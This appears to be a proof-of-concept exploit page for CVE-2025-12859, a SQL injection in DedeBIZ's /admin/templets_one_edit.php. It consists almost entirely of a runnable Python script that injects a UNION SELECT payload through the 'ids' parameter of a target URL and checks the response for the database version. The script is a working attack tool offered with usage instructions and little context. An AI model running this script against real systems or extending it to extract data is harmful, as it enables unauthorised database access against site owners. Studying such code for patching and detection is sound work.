DedeBIZ templets_one_edit.php SQL注入漏洞 (CVE-2025-12859)

import requests import sys def cve_2025_12859_poc(target_url): """ CVE-2025-12859 - DedeBIZ SQL Injection in /admin/templets_one_edit.php Target: DedeBIZ <= 6.3.2 Vulnerability: SQL Injection via 'ids' parameter """ # Normalize target URL if not target_url.endswith('/'): target_url += '/' # Construct exploit URL with SQL injection payload # Payload extracts database version using UNION-based injection payload = "1 UNION SELECT 1,2,VERSION(),4,5,6,7,8,9,10--" exploit_url = f"{target_url}admin/templets_one_edit.php?ids={payload}" print(f"[*] Target: {target_url}") print(f"[*] Exploit URL: {exploit_url}") try: response = requests.get(exploit_url, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") if response.status_code == 200: # Check for database version in response if '5.' in response.text or '8.' in response.text or '10.' in response.text: print("[+] Potential SQL Injection - Database info found in response") # Extract and display relevant portion if 'MySQL' in response.text or 'MariaDB' in response.text: print("[+] Database type detected in response") return True print("[-] No obvious injection detected or authentication required") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} http://target.com") sys.exit(1) cve_2025_12859_poc(sys.argv[1])